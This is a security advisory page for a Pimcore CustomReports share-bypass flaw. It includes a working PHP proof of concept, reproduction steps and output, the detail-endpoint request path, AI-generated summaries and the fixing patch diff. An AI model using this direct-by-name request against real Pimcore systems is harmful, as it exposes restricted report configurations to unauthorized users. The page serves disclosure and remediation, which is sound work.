Pimcore has a CustomReports Share Bypass
Description
Summary
CustomReports uses inconsistent authorization between the report listing endpoint and the report detail endpoint.
- The listing flow filters reports based on report-sharing rules
- The detail flow only checks generic
reportsorreports_configpermissions
As a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user's visible report list.
In the local Docker reproduction:
- The report
poc-secret-reportwas not visible to the low-privileged user in the report list - The same user was still able to retrieve the report configuration directly by name
Root
Cause
The listing flow in getReportConfigAction() filters reports through loadForGivenUser():
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L245)
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L252)
- CustomReportController.php
- [Config/Listing/Dao.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L44)
- Config/Listing/Dao.php
However, getAction() only checks generic permissions and then loads the report directly by name:
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L146)
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L149)
- CustomReportController.php
- CustomReportController.php
This means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic "not visible in list, but readable by direct request" access-control bypass.
Impact
An attacker can read sensitive report metadata without authorization, including:
- Report name
- Grouping information
- Display and icon metadata
- Data source configuration
- Column configuration
- Sharing settings
From the source code, other report endpoints such as data, chart, create-csv, and download-csv also resolve reports by name in a similar way:
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L275)
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L284)
- CustomReportController.php
This report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately.
Preconditions
- The attacker is an authenticated backend user
- The attacker has the
reportspermission - The target report is not globally shared and is not shared with that user or the user's roles
PoC
<?php
declare(strict_types=1);
use Pimcore\Bundle\CustomReportsBundle\Controller\Reports\CustomReportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\User;
use Pimcore\Model\Tool\SettingsStore;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;
require dirname(__DIR__) . '/vendor/autoload.php';
define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));
try {
\Pimcore\Bootstrap::bootstrap();
$kernel = new \App\Kernel('dev', true);
\Pimcore::setKernel($kernel);
$kernel->boot();
$container = $kernel->getContainer();
/** @var RequestStack $requestStack */
$requestStack = getService($container, [
RequestStack::class,
'request_stack',
]);
$admin = User::getByName('admin');
if (!$admin instanceof User) {
fail('admin user is missing');
}
$auditor = User::getByName('auditor_customreports');
if (!$auditor instanceof User) {
$auditor = new User();
$auditor->setParentId(0);
$auditor->setName('auditor_customreports');
}
$auditor->setAdmin(false);
$auditor->setActive(true);
$auditor->setPassword(Authentication::getPasswordHash('auditor_customreports', 'auditor-pass'));
$auditor->setPermissions(['reports']);
$auditor->setRoles([]);
$auditor->save();
$timestamp = time();
SettingsStore::set(
'poc-secret-report',
json_encode([
'name' => 'poc-secret-report',
'niceName' => 'PoC Secret Report',
'group' => 'Audit',
'dataSourceConfig' => [['type' => 'sql']],
'columnConfiguration' => [],
'shareGlobally' => false,
'sharedUserNames' => ['admin'],
'sharedRoleNames' => [],
'menuShortcut' => true,
'creationDate' => $timestamp,
'modificationDate' => $timestamp,
], JSON_THROW_ON_ERROR),
SettingsStore::TYPE_STRING,
'pimcore_custom_reports'
);
$tokenResolver = buildTokenResolver($auditor);
$controller = wireController(new CustomReportController(), $container, $tokenResolver);
$listRequest = new Request();
$requestStack->push($listRequest);
$listResponse = $controller->getReportConfigAction($listRequest);
$requestStack->pop();
$listData = json_decode($listResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);
$getRequest = new Request(['name' => 'poc-secret-report']);
$requestStack->push($getRequest);
$getResponse = $controller->getAction($getRequest);
$requestStack->pop();
$getData = json_decode($getResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);
$listedNames = array_map(static fn (array $item): string => $item['name'], $listData['reports'] ?? []);
echo json_encode([
'vulnerability' => 'customreports_share_bypass',
'user' => [
'id' => $auditor->getId(),
'name' => $auditor->getName(),
'permissions' => $auditor->getPermissions(),
],
'target_report' => [
'name' => 'poc-secret-report',
'shared_to' => ['admin'],
'share_globally' => false,
],
'result' => [
'report_visible_in_list' => in_array('poc-secret-report', $listedNames, true),
'listed_report_names' => $listedNames,
'direct_get_returned_name' => $getData['name'] ?? null,
'direct_get_shared_user_names' => $getData['sharedUserNames'] ?? null,
],
], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
fail(sprintf(
'%s: %s in %s:%d%s',
$e::class,
$e->getMessage(),
$e->getFile(),
$e->getLine(),
$e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
));
}
function wireController(
UserAwareController $controller,
ContainerInterface $container,
TokenStorageUserResolver $tokenResolver
): UserAwareController
{
$controller->setContainer($container);
$controller->setTokenResolver($tokenResolver);
if (method_exists($controller, 'setPimcoreSerializer')) {
/** @var PimcoreSerializer $serializer */
$serializer = getService($container, [
PimcoreSerializer::class,
'Pimcore\\Serializer\\Serializer',
]);
$controller->setPimcoreSerializer($serializer);
}
return $controller;
}
function buildTokenResolver(User $user): TokenStorageUserResolver
{
$tokenStorage = new TokenStorage();
$proxyUser = new SecurityUser($user);
$token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
$tokenStorage->setToken($token);
return new TokenStorageUserResolver($tokenStorage);
}
function getService(ContainerInterface $container, array $ids): mixed
{
foreach ($ids as $id) {
try {
if ($container->has($id)) {
return $container->get($id);
}
} catch (Throwable) {
}
}
fail('Unable to resolve service: ' . implode(', ', $ids));
}
function fail(string $message): never
{
fwrite(STDERR, $message . PHP_EOL);
exit(1);
}
Reproduction
Steps
1. Create a low-privileged user named auditor_customreports with the reports permission. 2. Create a report named poc-secret-report with: - shareGlobally = false - sharedUserNames = ['admin'] 3. As auditor_customreports, request the visible report list and verify that poc-secret-report is absent. 4. As the same user, call getAction(name=poc-secret-report) directly. 5. Verify that the response still contains the report configuration.
Reproduction command:
cd pimcore-12.3.3-repro
docker compose exec -T php php poc_customreports.php
Reproduction
Result
Relevant PoC output:
{
"vulnerability": "customreports_share_bypass",
"user": {
"name": "auditor_customreports",
"permissions": [
"reports"
]
},
"target_report": {
"name": "poc-secret-report",
"shared_to": [
"admin"
],
"share_globally": false
},
"result": {
"report_visible_in_list": false,
"listed_report_names": [],
"direct_get_returned_name": "poc-secret-report",
"direct_get_shared_user_names": [
"admin"
]
}
}
This shows that:
- The current user cannot see the report in the visible report list
- The same user can still retrieve the report configuration directly
This confirms that the share-bypass issue is practically exploitable.
Security
Impact
- Unauthorized disclosure of report configuration
- Disclosure of sharing scope and internal report structure
- Potential leakage of data-source and query organization details
- Useful reconnaissance for follow-on unauthorized execution or export paths
Remediation
- Add object-level sharing checks to
getAction()equivalent toloadForGivenUser(). - Centralize authorization into a single "can current user access this report?" function reused by
get,data,chart,create-csv, anddownload-csv. - Return
403for unshared reports. - Add regression tests to ensure that users with
reportspermission but without report-sharing access cannot retrieve report details.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Pimcore CustomReports endpoint inconsistency allows low-privileged users to read restricted reports directly by name, bypassing list-based sharing rules.
Vulnerability
In Pimcore's CustomReports bundle, the report listing endpoint in getReportConfigAction() properly filters reports via the loadForGivenUser() method, respecting report-sharing rules. However, the report detail endpoint in getAction() only checks generic reports or reports_config permissions and loads the report directly by name without applying the same sharing filters. Affected versions include Pimcore 12.3.3 and earlier, as referenced in the advisory [1][2]. This inconsistency allows unauthorized read access to a report's configuration if the attacker knows its name.
Exploitation
An attacker must be an authenticated low-privileged backend user with no explicit access to a specific report. The attacker needs to know the report's name (e.g., poc-secret-report). The attacker can directly call the report detail endpoint (e.g., GET /admin/reports/custom-report/get?name=poc-secret-report) and retrieve the report's configuration, even though the report does not appear in the attacker's report listing. No prior user interaction or race condition is required [1][2]. The advisory notes that other endpoints such as data, chart, create-csv, and download-csv are similarly vulnerable and should be verified separately.
Impact
Successful exploitation leads to unauthorized disclosure of sensitive report configuration data, including the report's structure, data source settings, and potentially business-sensitive information embedded in the report definition. The attacker gains read access to a report that the system should have hidden from their view, violating the intended access-control model. The privilege scope is limited to information disclosure; direct code execution or data modification is not demonstrated in the sources.
Mitigation
The vulnerability is fixed in commit 1893ff1cd116e442b995ddf17e8c6e0aa372268e and pull request #19099 [3][4]. The fix adds a call to a new assertUserCanAccessReport() method in the affected controller actions (getAction, dataAction, drillDownOptionsAction, chartAction, createCsvAction, and createCsvDownloadAction) to enforce the same sharing checks as the listing endpoint. Organizations should upgrade to the patched version as soon as it is released. No workaround is documented; as an interim measure, administrators can restrict network access to the Custom Reports endpoints or disable the bundle for untrusted users until the patch is applied.
AI Insight generated on May 27, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
pimcore/pimcorePackagist | < 12.3.6 | 12.3.6 |
Affected products
2Patches
11893ff1cd116[Security] Enhance Custom Report controller actions (#19099)
2 files changed · +51 −0
bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php+25 −0 modified@@ -27,6 +27,7 @@ use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\ResponseHeaderBag; +use Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException; use Symfony\Component\Routing\Attribute\Route; use Symfony\Component\Security\Core\Exception\InvalidArgumentException; use function array_key_exists; @@ -152,6 +153,9 @@ public function getAction(Request $request): JsonResponse if (!$report) { throw $this->createNotFoundException(); } + + $this->assertUserCanAccessReport($report); + $data = $report->getObjectVars(); $data['writeable'] = $report->isWriteable(); @@ -285,6 +289,9 @@ public function dataAction(Request $request): JsonResponse if (!$config) { throw $this->createNotFoundException(); } + + $this->assertUserCanAccessReport($config); + $configuration = $config->getDataSourceConfig(); $adapter = Tool\Config::getAdapter($configuration, $config); $sortFilters = $this->getSortAndFilters($request, $configuration); @@ -314,6 +321,9 @@ public function drillDownOptionsAction(Request $request): JsonResponse if (!$config) { throw $this->createNotFoundException(); } + + $this->assertUserCanAccessReport($config); + $configuration = $config->getDataSourceConfig(); $adapter = Tool\Config::getAdapter($configuration, $config); @@ -333,6 +343,8 @@ public function chartAction(Request $request): JsonResponse if (!$config) { throw $this->createNotFoundException(); } + $this->assertUserCanAccessReport($config); + $configuration = $config->getDataSourceConfig(); $adapter = Tool\Config::getAdapter($configuration, $config); $sortFilters = $this->getSortAndFilters($request, $configuration); @@ -377,6 +389,8 @@ public function createCsvAction(Request $request): JsonResponse throw $this->createNotFoundException(); } + $this->assertUserCanAccessReport($config); + $columns = $config->getColumnConfiguration(); $fields = []; foreach ($columns as $column) { @@ -474,4 +488,15 @@ private function getSortAndFilters(Request $request, stdClass $configuration): a return ['sort' => $sort, 'dir' => $dir, 'filters' => $filters, 'drillDownFilters' => $drillDownFilters]; } + + /** + * @throws AccessDeniedHttpException + */ + private function assertUserCanAccessReport(Tool\Config $config): void + { + $user = $this->getPimcoreUser(); + if ($user === null || !$config->isUserAllowed($user)) { + throw $this->createAccessDeniedHttpException(); + } + } }
bundles/CustomReportsBundle/src/Tool/Config.php+26 −0 modified@@ -17,6 +17,8 @@ use JsonSerializable; use Pimcore; use Pimcore\Model; +use Pimcore\Model\User; +use Pimcore\Security\User\User as UserProxy; use RuntimeException; use stdClass; @@ -430,4 +432,28 @@ public function __clone(): void $this->dao->setModel($this); } } + + public function isUserAllowed(User|UserProxy $user): bool + { + if ($user instanceof UserProxy) { + $user = $user->getUser(); + } + + if (!($user->isAdmin() || $this->getShareGlobally() || $user->isAllowed('reports_config'))) { + $sharedUserIds = $this->getSharedUserIds(); + $sharedRoleIds = $this->getSharedRoleIds(); + + $hasUserAccess = $sharedUserIds && + in_array($user->getId(), $sharedUserIds, true); + + $hasRoleAccess = $sharedRoleIds && + array_intersect($user->getRoles(), $sharedRoleIds); + + if (!$hasUserAccess && !$hasRoleAccess) { + return false; + } + } + + return true; + } }
Vulnerability mechanics
Root cause
"Inconsistent authorization between the report listing endpoint (which enforces sharing rules) and the report detail endpoint (which only checks generic permissions), allowing direct access to reports by name."
Attack vector
An authenticated backend user with the `reports` permission but no explicit sharing access to a target report can bypass access controls by calling `getAction()` directly with the report name, rather than relying on the listing endpoint [ref_id=1][ref_id=2]. The listing endpoint enforces sharing rules via `loadForGivenUser()`, but the detail endpoint only checks generic permissions and loads the report by name, creating an authorization inconsistency [ref_id=1]. The attacker must know the report name, but the PoC demonstrates that a report not visible in the list is still fully readable via direct request [ref_id=1].
Affected code
The vulnerability exists in `bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php`. The listing endpoint `getReportConfigAction()` filters reports through `loadForGivenUser()` (which enforces sharing rules), but `getAction()` only checks generic `reports` or `reports_config` permissions and loads the report directly by name without verifying the user's sharing access [ref_id=1][ref_id=2]. The same missing check affects `dataAction`, `chartAction`, `createCsvAction`, and `drillDownOptionsAction` [ref_id=1].
What the fix does
The patch adds a new `isUserAllowed()` method to `Tool\Config.php` that checks whether the user is admin, the report is shared globally, the user has `reports_config` permission, or the user (or their roles) is in the report's shared-user or shared-role lists [patch_id=2792870]. It also adds a private `assertUserCanAccessReport()` method to `CustomReportController.php` that calls `isUserAllowed()` and throws an `AccessDeniedHttpException` if access is denied [patch_id=2792870]. This check is inserted into `getAction`, `dataAction`, `chartAction`, `createCsvAction`, and `drillDownOptionsAction`, ensuring all endpoints enforce the same sharing-based authorization that the listing endpoint already uses [patch_id=2792870][ref_id=3].
Preconditions
- authAttacker is an authenticated backend user
- configAttacker has the 'reports' permission
- configTarget report is not shared globally and not shared with the attacker or the attacker's roles
- inputAttacker knows the report name
Reproduction
1. Create a low-privileged user named `auditor_customreports` with the `reports` permission. 2. Create a report named `poc-secret-report` with `shareGlobally = false` and `sharedUserNames = ['admin']`. 3. As `auditor_customreports`, request the visible report list and verify that `poc-secret-report` is absent. 4. As the same user, call `getAction(name=poc-secret-report)` directly. 5. Verify that the response still contains the report configuration. Reproduction command: `cd pimcore-12.3.3-repro && docker compose exec -T php php poc_customreports.php` [ref_id=1].
Generated on May 27, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
5- github.com/advisories/GHSA-jwcc-gv4m-93x6ghsaADVISORY
- github.com/pimcore/pimcore/commit/1893ff1cd116e442b995ddf17e8c6e0aa372268eghsaWEB
- github.com/pimcore/pimcore/pull/19099ghsaWEB
- github.com/pimcore/pimcore/releases/tag/v12.3.6ghsaWEB
- github.com/pimcore/pimcore/security/advisories/GHSA-jwcc-gv4m-93x6ghsaWEB
News mentions
0No linked articles in our index yet.